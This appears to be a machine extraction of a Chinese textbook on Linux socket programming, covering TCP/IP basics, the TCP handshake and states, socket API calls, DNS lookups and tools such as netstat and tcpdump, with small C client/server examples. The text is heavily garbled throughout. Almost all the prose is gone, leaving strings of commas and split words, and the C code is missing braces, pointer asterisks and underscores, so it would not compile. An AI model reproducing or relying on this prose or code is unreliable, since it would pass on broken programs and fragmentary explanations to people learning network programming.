Linux/ U NIX L in u x
( ) 158,,,,,, : 5, ( socket ) I/ O I/ O Inetd, U NIX/ L inux,,, UNIX/ Linux UNIX/ Linux 5, 5,, : Linux : : (, 100084) ht tp: / / w ww. tup. tsinghua. edu. cn : : : 7871092 1/ 16: 20 5: 484 : 2000 1 1 2000 1 1 : ISBN 7 302 01098 6/ T P. 2222 : 00016000 : 27 00
Lin ux,, Linux,, Linux,, W indows N T, Windows 95/ 98,,,, Linux W indows 95/ 98,,,,, Linux Linux, Int ernet,, Linux,,, Linux, Lin ux,,, Linux Linux,, Internet,,, Linux, Linux, Linux Linux, : 5 Linux,, : Linux T CP / IP U DP T CP/ IP Linux,, T CP/ IP 5, Linux,, Linux 6 Linu x, : Linux I/ O I/ O Inetd, Inetd, Linux ;,, Linux, Linux I/ O I/ O Linux,
Linux ; Inetd Linux Int ern et ; Linu x ; IP, Linux,, Lin ux,,,,, 1999 9
1 Linux 1 1 1 Linux 1 1 2-2 1 3 4 1 4 6 1 5 8 1 610 2 TCP / IP 12 2 112 2 2 Int ern et ( IP ) 12 2 3 Int ern et ( ICMP) 15 2 4 ( U DP ) 16 2 5( T CP) 17 2 6 Int ern et 28 2 728 3 29 3 129 3 229 3 331 3 432 3 532 3 647 3 754 3 856 3 959
4 TCP - 60 4 160 4 2-60 4 3 : 61 4 4 : 62 4 5 : 65 4 6 : 66 4 767 4 870 4 972 4 1074 4 1176 4 1277 4 1377 5 UDP 78 5 178 5 2recvfrom sendt o 79 5 3 U DP : 80 5 4 U DP : 81 5 5 U DP 81 5 6 U DP : 83 5 7 U DP : 84 5 8 U DP 85 5 9U DP 87 5 10U DP 91 5 1192 6 93 6 193 6 2( fork exec) 93 6 399 6 499 6 5104 6 6104 6 7( daemon process) 110 6 8 : in et d 113 6 9116
7 117 7 1117 7 2recv send 117 7 3readv writ ev 119 7 4recvfrom sendt o 121 7 5recvmsg sendmsg 121 7 6: shutdown 124 7 7/ : select 131 7 8136 8 137 8 1137 8 2get sockopt set sockopt 137 8 3141 8 4 IP 156 8 5 T CP 156 8 6fcnt l 160 8 7ioctl 162 8 8162 9 164 9 1164 9 2164 9 3( pipe) 167 9 4V IPC 169 9 5( memory mapped file) 182 9 6 U N IX 184 9 7 U N IX : 192 9 8197 10 199 10 1 199 10 2 T CP 199 10 3 203 10 4 T CP 205 10 5 206 10 6 228
11 230 11 1 230 11 2 230 11 3 231 11 4 231 11 5 P IN G : ICMP 232 11 6IP H DRIN CL 240 11 7 244 12 / 246 12 1 246 12 2 / 246 12 3/ 253 12 4/ 258 12 5/ 273 12 6 279 13 280 13 1 280 13 2 : U DP 280 13 3 : T CP 282 13 4 : U DP 283 13 5 T CP : 290 13 6 T CP : 292 13 7 T CP : 296 13 8 T CP : I/ O 312 13 9 T CP : 217 13 10 318
1 Linux 1.1 Linux Linux Linux, Linux, Linux Linux Linux, U NIX, : BSD System V, Linux Linux,,, Linux Ross Biro < biro@ yggdrasil.com > Ross WD 8003,, Linux Ross, Ross,,, Orest Zborowski < obz@ Kodak.COM > Linux BSD ( Socket),, Linux Linux, Linux, Laurence Culhane < loz @ holmes.demon.co.uk > SLIP Linux Linux, Ross, Fred van Kempen < waltje@ uwalt.nl.mugnet.org > Fred Linux,, NET 2, Fred, AX.25 Fred NET 2 Linux, 1
, F red,, 80 %, Ross, Fred Alan Cox < iialan@www.uk.linux.org > Fred NET 2,,,, Fred, Alan,, Linux NET 2D(ebugged),, Alan, NET 2 Linux :,, Linus, Alan, Alan Fred,,,, Fred Alan Linux Donald Becker < becker@cesdis.gsfc.nasa.gov >,, Linux 1.3., NET 3, Alan,, Alan AX.25 IPX,,, Linux NET 4 Linux,, Linux Linux Linux () 1.2 - -,, :,,,,,,, 1 1 : 2
1 1 - (1 ),, (2 ), (3 ) (4 ),, (5 ),, (6 ),, Linux,,, : (iterative server),,,,,, Linux ( daytime) (concurrent server),,,,,,, Linux, ( FT P ),,,, ;,,,,,, 3
1.3 -, - :, : # include < stdio.h > # include < stdlib.h > # include < errno.h > # include < string.h > # include < netdb.h > # include < sys/ types.h > # include < netinet/ in.h > # include < sys/ socket.h > # define PORT 3490 int main(int argc, char argv[]) int sockfd, nbytes; char buf[1024]; struct hostent he; struct sockaddr in srvaddr; if (argc!= 2) perror( usage: client hostname \ n ); exit(1); if ((he = gethostbyname(argv[1])) == NULL) perror( gethostbyname ); exit(1); if ((sockfd = socket(af INET, SOCK STREAM, 0)) == - 1) perror( create socket error ); exit(1); bzero(&srvaddr, sizeof(srvaddr)); srvaddr.sin family = AF INET; srvaddr.sin port = htons(port); srvaddr.sin addr = ((struct in addr )he -> h addr); if (connect(sockfd, (struct sockaddr )&srvaddr, \ sizeof(struct sockaddr)) == - 1) 4
exit(1); perror( connect error ); if ((nbytes = read(sockfd, buf, MAXDATASIZE)) == - 1) perror( read error ); exit(1); buf[nbytes] = \ 0 ; printf( read: % s,buf); close(sockfd);, : bash netclient localhost Hello, Network! Hello, Network!,, < sys/ socket.h > < netinet/ in.h > Internet IP,,, IP gethostbyname I P ( socket),,, socket socket open,, ;, IP Internet ( sockaddr in ) AF INET, Internet ; 3499, ; gethostbyname IP I P, I P htons, IP gethostbyname,,, connect Internet, 5
, read write, read,,, close 1.4, : # include < stdio.h > ; # include < stdlib.h > ; # include < errno.h > ; # include < string.h > ; # include < sys/ types.h > ; # include < netinet/ in.h > ; # include < sys/ socket.h > ; # include < sys/ wait.h > ; # define MYPORT 3490 # define BACKLOG 5 main() int sockfd, new fd; struct sockaddr in srvaddr; struct sockaddr in cliaddr; int sin size; if ((sockfd = socket(af INET, SOCK STREAM, 0)) == - 1) perror( socket error ); exit(1); bzero(&srvaddr, sizeof(srvaddr)); srvaddr.sin family = AF INET; srvaddr.sin port = htons(myport); srvaddr.sin addr.s addr = htonl(inaddr ANY); if (bind(sockfd, (struct sockaddr )&srvaddr, sizeof(struct sockaddr)) == - 1) perror( bind error ); exit(1); 6
if (listen(sockfd, BACKLOG) == - 1) perror( listen error ); exit(1); for (;;) sin size = sizeof(struct sockaddr in); if ((new fd = accept(sockfd, (struct sockaddr )&cliaddr, &sin size)) == - 1) perror( accept error ); continue; printf( server: got connection from % s \ n, inet ntoa(cliaddr.sin addr)); if (write(new fd, Hello, Network! \ n, 14) == - 1) perror( write error ); close(new fd); close(sockfd);,, < sys/ socket.h > socket bind, (, ), AF INET, 3490( ), IP INADDR ANY, bind I P (listening socket),, listen listen, listen BACKLOG ( unaccepted) 3 socket, bind listen, TCP 3, TCP, accept, accept, accept ( new fd) 7
,, close,,,,,, 1.5,,,, 1. ifconfig ifconfig Linux, : bash ifconfig eth0 eth0 Linux encap:10mbps Ethernet Hwaddr 00:A0:24:9C:43:34 inet addr:206.62.226.40 Bcast:206.62.226.63 Mask:255.255.255.224 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric;1 RX packets:484461 errors:0 dropped:0 overruns:0 TX packets:450113 errors:0 dropped:0 overruns:0 Interrupt: 10 Base address:0x300 00: A0: 24: 9C: 43 : 34, I P 206.62.226. 40, 206.62.226. 63, 255.255.255.224, MULTICAST 2. netstat netstat netstat,, - a - r- n,, IP : bash netstat - rn 8
Routing tables Destination Gateway Flags Refs Use MT U Netif Expire Default 206.62.226.62 UG 0 0 - et h0 127/ 8 127.0.0.1 U 0 0 - lo0 206. 62. 226. 32/ 27 206.62.226.43 U 4 475 - et h0 - i [iface] ( ): bash netstat - ni Kernel Interface table Iface MT U Met RX RX RX RX TX TX TX TX Flags OK ERR DRP OVRP OK ERR DRP OVR lo 3584 0 32 0 0 0 32 0 0 0 BLRU et h0 1500 0 483929 0 0 0 449881 0 0 0 BRU netstat, netstat, 3. ping ping ping ICMP, ping 206.62.226.64 : bash ping 206.62.226.64 PING 206.62.226.64 (206.62.226.64): 56 data bytes 64 bytes from 206.62.226.64: icmp seq = 0 ttl = 255 time = 0.316ms 64 bytes from 206.62.226.64: icmp seq = 1 ttl = 255 time = 0.315ms 64 bytes from 206.62.226.64: icmp seq = 2 ttl = 255 time = 0.316ms 64 bytes from 206.62.226.64: icmp seq = 3 ttl = 255 time = 0.317ms ping 206.62.226.89 : PING 206.62.226.89 (206.62.226.89): 56 data bytes Host unreachable 206.62.226.89,, ping ping,, IP 9
4. telnet telnet Internet,,, : bash telnet localhost 3490 Hello, Network!, telnet, 5. tcpdump tcpdump RedHat 6.0, Linux, ftp:/ / ftp.ee.lbl.gov/ ( datalink packet), : bash tcpdump (udp and port daytime) or icmp 13 ( daytime ) UDP ICMP : bash tcpdump tcp and port 80 adn tcp[13:1]& 2!= 0 80 (HT TP ), SYN ( SYN TCP 13,, 2) TCP tcpdump, TCP/ I P tcpdump, tcpdump 6.,,,, 1.6 Linux, 10
, Linux -,, TCP,, 11
2 TCP/ IP 2.1,,,, TCP/ IP 2 1 Internet IP TCP UDP ICMP, I P ICMP, ; UDP TCP,, 2 1 TCP/ IP 2.2 Internet (IP) 2 1, IP TCP/ IP UDP TCP, IP, 12
IP, I P,,, IP I P IP, ; IP I P : 1. IP 2 2 IP 2 2 IP IPv4 4I P,, I Pv6 IP, 4 (32 ) IP 20, I P IP, 5, I P, 16, I P 65535 I P, IP (Don t F ragment, DF )( More Fragment, MF ) I P 13
, 1 0, IP I P, TCP UDP ( Header Checksum) I P IP I P I P I P, 2. IP Internet IP, I P 32 IP 4, 2 3 2 3 IP IP A ( 2 24 ), B (2 16 ), C (2 8 ), D, 4 0255 IP, 4, 192.168.0.10IP : 0.0.0.0 IP,, I P,, 0,,, I P ; 1,, IP 1,, 1, ; I P 127..., 127.0.0.1 3. I P 4, Internet,,, B 14
, C,,, 2 4 2 4, IP I P, I P B 166.111..,,, 10, 6, 1024, 64 ;, 6, 10, 64, 1024, IP : IP 32, 1 IP ( ), 0 I P : 11111111 11111111 11111110 00000000 23 1, 9 0, I P 23 I P 1,, 1, 0 IP,, 255.255.254.0 : B I P : 166.111.69.13, 7, : 255.255.254.0, I P : 166.111.68.0, : 0.0.1.13,, IP, IP IP,,, I P 2.3 Internet (ICMP) Internet Internet I P, IP, ICMP I P, IP, IP ICMP, ICMP, ICMP I P 2 5 ICMP 15
2 5 ICMP : ICMP : ICMP : ICMP ICMP :, : ( 1 ) ; ( 2) ; ( 3), ICM P, : I P ( TTL) 1, 0, I P, ICMP I P ECHO ECHO ECHO ICMP, ICMP, ECHO ICMP ICMP 2.4 (UDP) UDP IP, I P, UDP,, 16
UDP 2 6 2 6 UDP : UDP, : UDP, : UDP, : UDP,, 0 UDP,, UDP,,, ( well known), 1024, UDP,,,, ;,,, UDP, UDP UDP,,, Linux, UDP, UDP, UDP UDP, I P, UDP IP UDP,, UDP, UDP, ICMP ;, UDP, 17
2.5 (TCP), IP UDP,, IP, ( TCP ),, 1. TCP TCP,,, TCP TCP TCP,,,, TCP,, TCP I P,,,, TCP :, TCP RT T( Round Trip Time),, TCP,,, TCP R TT,, Internet, TCP TCP,, TCP, TCP,,, 1048, TCP 67200, TCP 1024, TCP, 67200 68223, 68224 68247, TCP IP IP, TCP TCP, :,,,, 18
,,,,,, TCP TCP TCP, ( ) TCP :, ;, :,, TCP, TCP, 2. 2 7 TCP : TCP : TCP : :, 1 : 4 ( 32 ) TCP, 20, TCP, U RG( urgent):, 1 ACK(acknowledge):, 1 PSH( push):, 1,,, RST( reset): TCP, TCP,, TCP 3 TCP RST : (1 ) SYN ; ( 2 ) TCP ; ( 3) TCP, RST TCP 19
2 7 TCP, SYN( synchronize) : TCP TCP, TCP, SYN, SYN, TCP FIN(finish):, TCP,,, TCP, FIN,, FIN FIN, (16 ) : : TCP : ( URG), TCP,, : TCP : (1 ) ( Maxi mum Segment Size, MSS), SY N, TCP,, ; (2 ),, 20
65535,,,, TCP, N, 2 N 3. TCP TCP IP, I P,, TCP 3 : socket bind listen,, connect connect TCP TCP SYN, TCP SYN, SYN, SYN TCP SYN, SYN, TCP SYN, TCP 2 8 TCP 3 3 (a), TCP SYN, X, TCP SYN, Y, SYN ( X + 1), SYN,,, 3 ( b),, TCP, SYN, (a) (c), SY N TCP ( I P, ) TCP SYN, SYN, Y, SYN (X + 1), TCP,, RST, SYN, RST TCP RST, TCP 3,, 4. TCP TCP, TCP,, TCP 21
2 8 TCP 3 TCP 4 : (1 ),, ( close )close TCP FIN (2 ),, F IN, TCP FIN FIN ( EOF ), F IN,, ( ) (3 ),, close close TCP F IN (4 ) TCP F IN, F IN, TCP 2 9, : TCP F IN, X, TCP FIN,, TCP,,,, TCP TCP F IN, Y TCP F IN,, TCP,, TCP 22
2 9 TCP 4, F IN TCP FIN F IN,, F IN,,, TCP,, FT P,, HT TP, 5. TCP TCP, 2 10 11 : CLOSED:, LISTEN : SYN RCVD:, SYN SENT: ESTABLISHED:, F IN WAIT 1 :, F IN WAIT 2 :, TIME WAIT :, CLOSING: CLOSE WAIT : LAST ACK :,, TCP, 23
2 10 TCP CLOSED : TCP ( connect), TCP SYN, SYN SENT SYN + ACK, TCP ACK, 3, ESTABLISHED,, close, TCP F IN, F IN WAI T 1, ACK ACK, FIN WAIT 2,, ( FIN ), TCP FIN, TIME WAIT, TCP TIME WAIT,, TCP : listen, TCP LISTEN, SYN, TCP, SYN + ACK, SYN RCVD SYN, 3, ESTABLISHED,, F IN TCP F IN, CLOSE WAIT,, close, TCP F IN, LAST ACK,, TCP 24
6. TCP TCP,, TCP 2 11 2 11 TCP - (1 ) TCP TCP SYN TCP SYN SENT TCP SYN, X, ( MSS)1460 (2 ) SYN TCP SYN, SYN, SYN ( X + 1 ) TCP LISTEN SYN RCVD TCP SYN, Y, MSS 1024TCP, MSS, MSS 1024 (3 ) SYN TCP SYN, SYN ( Y + 1 )TCP ESTABLISHED, (4 ) 25
( Y + 1 ), TCP ESTAB LISHED,, (5 ) write (6 ) read (7 ) TCP,, write (8 ) read, TCP (9 ) close, TCP TCP FIN, FIN WAIT 1, FIN (10) TCP F IN, TCP CLOSE WAIT, TCP 0 (11) FIN TCP TCP, FIN WAIT 2, (12) close, TCP TCP FIN, LAST ACK, FIN (13) TCP F IN, TCP TIME WAIT, ( MSL), TCP (14) FIN TCP TCP TCP CLOSEDTCP, 7. TCP I P, TCP, 26
TCP ( port),, (well known), F T P 21 HTT P 80, 1024, TCP, 4 : IP IP I P ( socket) ( socket pair ), TCP (192.168.0.10) A B, (192.168.0.1 ), HTT P ( 80 ) : ( 192.168.0.1: 80 ),, 3905 3810, ( 192. 168.0.10 :3905) (192.168.0.10: 3810 ), (192.168.0.1: 80 : : 192.168.0.10 :3905) (192.168.0.1 :80: :192.168.0.10: 3810 ), 8. TIME WAIT TIME WAIT TCP,,,, ( Maximum Segment Lifetime, MSL) TIME WAIT : TCP : ( F IN ), IP,,, F IN TCP, F IN,, TCP RST, RST TCP,, TCP TIME WAIT, TCP, FIN,,, :, ( ),, :, 27
,,,, TCP,,, TCP TIME WAIT,, 2.6 Internet TCP, echo discard daytime chargen time / etc/ services 2 1 2 1 Internet TCP UDP echo 7 7 discard 9 9 daytime 13 13 TCP, chargen 19 19 ; UDP time 37 37 32 inetd, telnet, : bash telnet 192.168.0.1 echo Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is ^]. Who am I? Who am I? ^] telnet > close Connection closed., netstat 2.7 TCP/ IP : IP ICM P UDP TCP IP, IP 28 ICMP IP
UDP UDP UDP TCP TCP TCP,, TCP 3, TCP, / etc/ services 29
3 3.1 Internet TCP/ I P, Linux ( socket ) Linux socket connect bind listen accept closegetsockname getpeername, IP, Internet,, 3.2 Linux,,, Linux, < linux/ socket.h > : struct sockaddr unsigned short sa family; /, AF xxx / char sa data[14]; / 14 / ; sa family, TCP/ IP AF INET ; sa data,, sockaddr TCP/ IP sockaddr in, < linux/ in.h > : struct in addr u32 s addr; / unsigned long / 30
; struct sockaddr in short int sin family;/, AF xxx / unsigned short int sin port; / / struct in addr sin addr; / Internet / / struct sockaddr, / unsigned char pad[ SOCK SIZE - sizeof(short int) - sizeof(unsigned short int) - sizeof(struct in addr)]; ; # define sin zero pad / BSD / : (1 ) < linux/ socket.h > < linux/ in.h > Linux,,, < sys/ socket.h > < netinet/ in.h >, (2 ) sockaddr in TCP UDP sin port I P sin addr (3 ) 32 IP, servaddr Internet, servaddr.sin addr servaddr.sin addr.s addr IP, ( struct in addr), ( unsigned long) IP,, (4 ) sin zero, ( struct sockaddr), 0 sockaddr in (5 ) TCP,, I P, sockaddr in IP, I P : # include < sys/ socket.h > # include < netinet/ in.h > # include < arpa/ inet.h > int inet aton(const char cp, struct in addr inp); unsigned long int inet addr(const char cp); char inet ntoa(struct in addr in); 3 I P 32 IP, IP 192.168.0.10, 31
IP C0A8000Ainet aton I P IP, 1, 0, I P inp inet addr inet aton,, INADDR NONEinet addr, inet aton inet addr 255.255.255.255 inet addr INAD DR NONE 255.255.255.255,32 1 (- 1 )inet ntoa 32 IP IP, 3.3, Intel PC RISC 16 A103 2, A1, 03 :, 3 1 (a) ;, 3 1( b)little endian, Intel ; big endian, RISC 3 1,, Internet big endiantcp 16 32 IP Linux 4 : # include < netinet/ in.h > unsigned long int htonl(unsigned long int hostlong); unsigned short int htons(unsigned short int hostshort); unsigned long int ntohl(unsigned long int netlong); unsigned short int ntohs(unsigned short int netshort); 4 h host, n net work, s short, l longshort 16, long 32,,,, 32
3.4,, C Linux, b( byte), BSD ; mem( ), ANSI C b : # include < strings.h > void bzero(void s, int n); void bcopy(const void src, void dest, int n); int bcmp(const void s1, const void s2, int n); bzero s n 0, : bzero(&servaddr, sizeof(servaddr)); bcopy src dest bcmp s1 s2 n, 0, mem : # include < string.h > void memset(void s, int c, size t n); void memcpy(void dest, const void src, size t n); int memcmp(const void s1, const void s2, size t n); memset s n c memcpy bcopy, : bcopy src dest, memcpy, bcopymemcmp s1 s2 n, 0, 3.5 TCP, TCP 3 2 TCP, TCP : socket, bind, listen 33
3 2 TCP - (listening socket), accept,, socket, connect, 1. socket socket : # include < sys/ types.h > # include < sys/ socket.h > int socket(int domain, int type, int protocol); domain ; type ; proto col socket,,, ;, - 1, errno Linux (AP I), 34
, TCP/ IP UNIX domain domain : AF UNIX U NIX, AF INET Internet ( TCP/ IP ) AF ISO ISO type, : SOCK STREAM, SOCK DGRAM, SOCK RAW, Internet, IP protocol 0,, Internet TCP, UDP, protocol,, ICMP IGMP TCP : sockfd = socket(af INET, SOCK STREAM, 0); if (sockfd < 0) fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); Linux :,, TCP TCP 2. connect connect : # include < sys/ types.h > # include < sys/ socket.h > int connect(int sockfd, struct sockaddr servaddr, int addrlen); sockfd socket ; servaddr, IP ; addrlen connect, 0; - 1, errno : ETIMEOUT ECONNREF USED EHOSTUNREACH ENETUNREACH connect, TCP : bzero(&servaddr, sizeof(servaddr)); 35
servaddr.sin family = AF INET; servaddr.sin port = htons(server PORT); if (inet aton( 192.168.0.1, &servaddr.sin addr) < 0) fprintf(stderr, Inet aton error \ n ); exit(1); if (connect(sockfd, (struct sockaddr )&servaddr, sizeof(servaddr)) < 0) fprintf(stderr, connect error: % s, strerror(errno)); exit(1); ( IP ), 1024 5000, IP connect TCP 3 ( 2 ), : TCP SYN,, ETIMEOUT TCP SYN, SY N,, TCP RST,, ECON NRE FUSED SYN, TCP RST, TCP RS T, SYN, SYN ICMP,, EHOSTU NREACH ENETU NREACH TCP ICM P,, SYN,, TCP ICMP, connect, TCP SYN, TCP CLOSED SYN SENT, SY N, TCP ESTABLISHED, connect, close, con nect 3. bind 36 bind :
# include < sys/ types.h > # include < sys/ socket.h > int bind(int sockfd, struct sockaddr myaddr, int addrlen); sockfd socket ; myaddr ; ad drlen bind, 0;, - 1, errno EADDRINUSER bind, bind : bzero(&myaddr, sizeof(myaddr)); myaddr.sin family = AF INET; myaddr.sin port = htons(port); myaddr.sin addr.s addr = htonl(inaddr ANY); if (bind(sockfd, (struct sockaddr )&myaddr, sizeof(myaddr)) < 0) fprintf(stderr, Bind to port % d error \ n, PORT); exit(1);, 3 1 3 1 IP INADDR ANY IP IP INADDR ANY IP IP IP IP I P, 5 : (1 ), I P bind, IP INADDR ANY, (2 ) IP bind, IP IP, I P,,, (3 ) 37
,, connect TCP,, IP,, Linux rlogin, rlogin,, bind (4 ) IP (5 ) IP,,,, : (1 ) ( HTT P ) TIME WAIT ( 2 ),,, TIME WAIT,,, con nect, ECONNREFUSED (2 ) ( F TP ) TIME WAIT,, TIME WAIT,,,, bind, EADDRIN USE 4. listen listen (listening socket) : # include < sys/ socket.h > int listen(int sockfd, int backlog); sockfd ; backlog listen, 0; - 1 listen, listen : (1 ) socket, ( connect),, listen : TCP, listen, TCP CLOSED LISTEN 38 (2 ) TCP, listen
, socket, bind, listen 3 TCP backlog, TCP : (1 ) 3 TCP TCP SYN,, SYN SYN (ACK + SYN ), SYN, SYN RCVD, SYN, (2 ) 3, ( accept )TCP SYN, 3, TCP, ESTABLISHED, accept 3 3 3 3, 4,,, 3 4 3 39
TCP SYN,, SYN SYN, SYN,, TCP accept, backlog, ( unaccepted ) SY N,, TCP SYN SYN, TCP RS T, : (1 ) TCP RST, connect, RST,,, (2 ) :, accept, TCP, SYN,, TCP, 3,,, ETIME OUT, telnet : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > int main() int sockfd; struct sockaddr in servaddr; if ((sockfd = socket(af INET, SOCK STREAM, 0)) < 0) perror( socket error.\ n ); exit(1); bzero(&servaddr, sizeof(servaddr)); servaddr.sin family = AF INET; servaddr.sin port = htons(8080); servaddr.sin addr.s addr = htonl(inaddr ANY); if (bind(sockfd, (struct sockaddr )&servaddr, sizeof(servaddr)) < 0) perror( bind port 8080 error.\ n ); exit(1); 40
listen(sockfd, 2); for (;;) : bash telnet localhost 8080 & bash telnet localhost 8080 & bash telnet localhost 8080 netstat, : bash netstat - a grep 8080 tcp 0 0 :8080 : LISTEN tcp 0 0 localhost:5301 localhost:8080 tcp 0 0 localhost:8080 localhost:5301 tcp 0 0 localhost:5302 localhost:8080 tcp 0 0 localhost:8080 localhost:5302 tcp 0 0 localhost:5303 localhost:8080 ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED SYN SENT,,, telnet, SYN,, telnet, 5. accept accept, : # include < sys/ socket.h > int accept(int sockfd, struct sockaddr addr, int addrlen); sockfd ; addr Internet ; addrlen accept, 3 :, ; addr ; addrlen, addr addrlen N ULLaccept, - 1 accept TCP,, 3, TCP, TCP,, accept, accept (connected socket) :, 41
,, ; ( accepted), TCP,,,, accept,,, EINTR, accept 6. close close close close : # include < unistd.h > int close(int sockfd); sockfd close, 0;, - 1 close close : close 1, 0,, close ; 0,,, close : ( TCP CLOSED ), close,, TCP TCP,, F IN,, TCP, TCP 7. read write read write : int read(int fd, char buf, int len); int write(int fd, char buf, int len); fd ; read buf, write buf ; len read, ;, - 1 write, ;, - 1 TCP,,, TCP : TCP, ;, TCP 42
, read write read :, read ; read, read len ; read, read,, len ;, read, write :, write ; write len, write,, write,,, : (1 ) read,, 0 (2 ) TCP FIN F IN, read 0, 0, (3 ) TCP RST RST, read, ECON NRESET (4 ), read, EINTR 3 : 0 0 0, : rc = read(sock, buf, size); if (rc > 0) / / write(fd,buf,rc); else if (rc == 0) / / close(fd); close(sock); else / / if (errno == EINTR) / / 43
else fprintf(stderr, read error: % s \ n, strerror(errno)); exit(1); read 0,, ; 0,,, ; 0,, : EINT R,,, read ; ECONNRESET, RST,,,,, : (1 ) write, (2 ) TCP RST TCP, TCP RST, TCP RS T, write, E PIPE (3 ), write, EINTR : 0 0, : wc = write(sock, buf, size); if (wc > 0) / / / / else if (errno == EINTR) / / else fprintf(stderr, write error: % s \ n, strerror(errno)); exit(1); 0,, ; 0,, : 44
EINT R, ; EP IPE,,,,, ;,,,,,,, ;,, : int read all(int fd, void buf, int nbytes); int write all(int fd, void buf, int nbytes); read all fd nbytes buf write all fd buf nbytes : # include < errno.h > # include < unistd.h > int read all(int fd, void buf, int n) int nleft; int nbytes; char ptr; ptr = buf; nleft = n; for (; nleft > 0; ) nbytes = read(fd, ptr, nleft); if (nbytes < 0) if (errno == EINTR) nbytes = 0; else return ( - 1); else if (nbytes == 0) break; nleft - = nbytes; ptr + = nbytes; return (n - nleft); int write all(int fd, void buf, int n) 45
int nleft, nbytes; char ptr; nleft = n; ptr = buf; for (; nleft > 0; ) nbytes = write(fd, ptr, nleft); if (nbytes < = 0) if (errno == EINTR) nbytes = 0; else return ( - 1); nleft - = nbytes; ptr + = nbytes; return (n); read all read, EINTR,,, EINTR, - 1 write all write, EINTR,,, EINTR, - 1 8. getsockname getpeername getsockname ; getpeername : # include < sys/ socket.h > int getsockname(int sockfd, struct sockaddr localaddr, int addrlen); int getpeername(int sockfd, struct sockaddr peeraddr, int addrlen); sockfd ; localaddr peeraddr Internet ; addrlen getsockname, 0,, localaddr, addrlen getpeer name, 0,, peeraddr, addrlen, - 1 : # include < sys/ socket.h > 46
# include < sys/ types.h > # include < netinet/ in.h > void disp addrcont(struct sockaddr in addr) if (addr - > sin family!= AF INET) perror( Not an Internet socket.\ n ); return; printf( address is: % s: % d \ n, inet ntoa(addr - > sin addr), ntohs(addr - > sin port)); main() int listenfd, connfd; struct sockaddr inservaddr, cliaddr, addr; int cliaddrlen, addrlen; if ((listenfd = socket(af INET, SOCK STREAM, 0)) < 0) perror( socket error.\ n ); exit(1); bzero(&servaddr, sizeof(servaddr)); servaddr.sin family = AF INET; servaddr.sin port = htons(8080); servaddr.sin addr.s addr = htonl(inaddr ANY); if (bind(listenfd, (struct sockaddr )&servaddr, sizeof(servaddr)) < 0) perror( bind port 8080 error.\ n ); exit(1); if (listen(listenfd, 1) < 0) perror( listen error.\ n ); exit(1); for (;;) connfd = accept(listenfd, (struct sockaddr )&cliaddr, &cliaddrlen); if (connfd < 0) perror( accept error.\ n ); exit(1); 47
printf( accept returned client address: \ n ); disp addrcont(&cliaddr); getpeername(connfd, (struct sockaddr )&addr, &addrlen); printf( getpeername returned client address: \ n ); disp addrcont(&addr); getsockname(connfd, (struct sockaddr )&addr, &addrlen); printf( getsockname returned server address: \ n ); disp addrcont(&addr); 3 : (1 ) connect, getsockname I P (2 ) IP INADDR ANY bind TCP, ( accept), getsockname IP (3 ), getpeername 3.6, IP,,, I P, IP ( resolver ) gethostbyname gethostbyaddr, IP, I P, I P,, Internet ( Domain Name System ), I P bbs.tsinghua.edu.cn IP 202.112.58.200,, IP, tsinghua.edu.cn tsinghuaedu cn 3, 3 5, tsinghua, edu.cn, - I P,, 48
3 5, - IP, I P, 3 2 3 2 DNS A IP 32 MX, NS CNAME PTR I P A A I P : master.utopian.edu.cn 86400 IN A 192.168.0.1 master.utopian.edu.cn 86400 IN A 203.58.0.20 slave.utopian.edu.cn 86400 IN A 203.58.0.21 free IN A 192.168.0.10 master.utopian.edu.cn IP 192.168.0.1 203.58.0.20, slave.utopian.edu.cn IP 203.58.0.21, free, free.utopian.edu.cn, IP 192.168.0.10 IN In ternet MX MX : utopian.edu.cn 86400 IN MX 1 master.utopian.edu.cn utopian.edu.cn 86400 IN MX 2 slave.utopian.edu.cn free IN MX 1 free IN MX 2 master 49
utopian.edu.cn master.utopian.edu. cn, spirit@utopian.edu.cnmaster.utopian.edu.cn spirit, slave.utopian.edu.cn free.utopian.edu.cn,, master NS NS CNAME CNAME : ftp.utopian.edu.cn 86400 IN CNAME master.utopian.edu.cn www.utopian.edu.cn 86400 IN CNAME master.utopian.edu.cn master.utopian.edu.cn, ftp.utopian.edu.cn www.utopian.edu.cn, P TR PT R( Pointer)IP, 3 6 3 6, ( Linux / etc/ resolv.conf), IP UDP, UDP, Inter net, 50
1. gethostbyname gethostbyname IP : # include < netdb.h > struct hostent gethostbyname(const char hostname); hostname, gethostbyname,, hostent ;, NULL hostent, 3 7 struct hostent char h name; / / char h aliases; / / int h addrtype; / :AF INET / int h length; / :4 (32 ) / char h addr list; / IP / # define h addr h addr list[0] / h addr list IP / gethostname A, hostent : h name ftp.utopian.edu.cn master.utopian.edu.cn h aliases master.utopian.edu.cn ftp.utopian.edu.cnwww.utopian.edu.cn h addrtype IPv4 AF INET h length I Pv4 4, 32 h addr list IP IP, h length,, : struct hostent he; he = gethostbyname( ftp.utopian.edu.cn ); hostent 3 7 master.utopian.edu.cn, ftp.utopian.edu.cn www.utopian.edu.cn, I P, 203.58.0. 20 192.168.0.1 gethostbyname, h errno, herror h errno : 51
3 7 hostent HOS T NOT FOU ND : NO ADDRESS:, IP NO RECOVERY: TRY AGAIN :, 2. gethostbyaddr gethostbyaddr IP : # include < netdb.h > struct hostent gethostbyaddr(const char addr, size t len, int family); addr in addr, IP ; len IP ; family AF INET gethostbyaddr, gethostbyname, h name ;, NULL gethostbyname gethostbyaddr : # include < netdb.h > # include < stdio.h > # include < stdlib.h > # include < sys/ socket.h > # include < netinet/ in.h > main(int argc, char argv[]) struct sockaddr in addr; struct hostent he; char alias; if (argc < 2) 52
perror( usage: hostname name ip...\ n ); exit(1); argv ++ ; for (; argv!= NULL; argv ++ ) if (inet aton( argv, &addr.sin addr)!= 0) he = gethostbyaddr((char )&addr.sin addr, 4, AF INET); printf( address information of IP % : \ n, argv); else he = gethostbyname( argv); printf( address information of host % s: \ n, argv); if (he == NULL) fprintf(stderr, no address information of % s \ n, argv); continue; printf( official host name: % s \ n, he - > h name); printf( name aliases: ); for (alias = he - > h aliases; alias!= NULL; alias ++ ) printf(% s,, alias); printf(\ nip addresses: ); for (alias = he - > h addr list; alias!= NULL; alias ++ ) printf(% s,, inet ntoa( (struct in addr )( alias)));, IP, IP, inet aton,, IP, ; inet aton,, gethostbyname, hostent h addr list IP, I P, I P, inet, addr I P : aton, conv, int addr conv(char address, struct in addr inaddr) struct hostent he; if (inet aton(address, 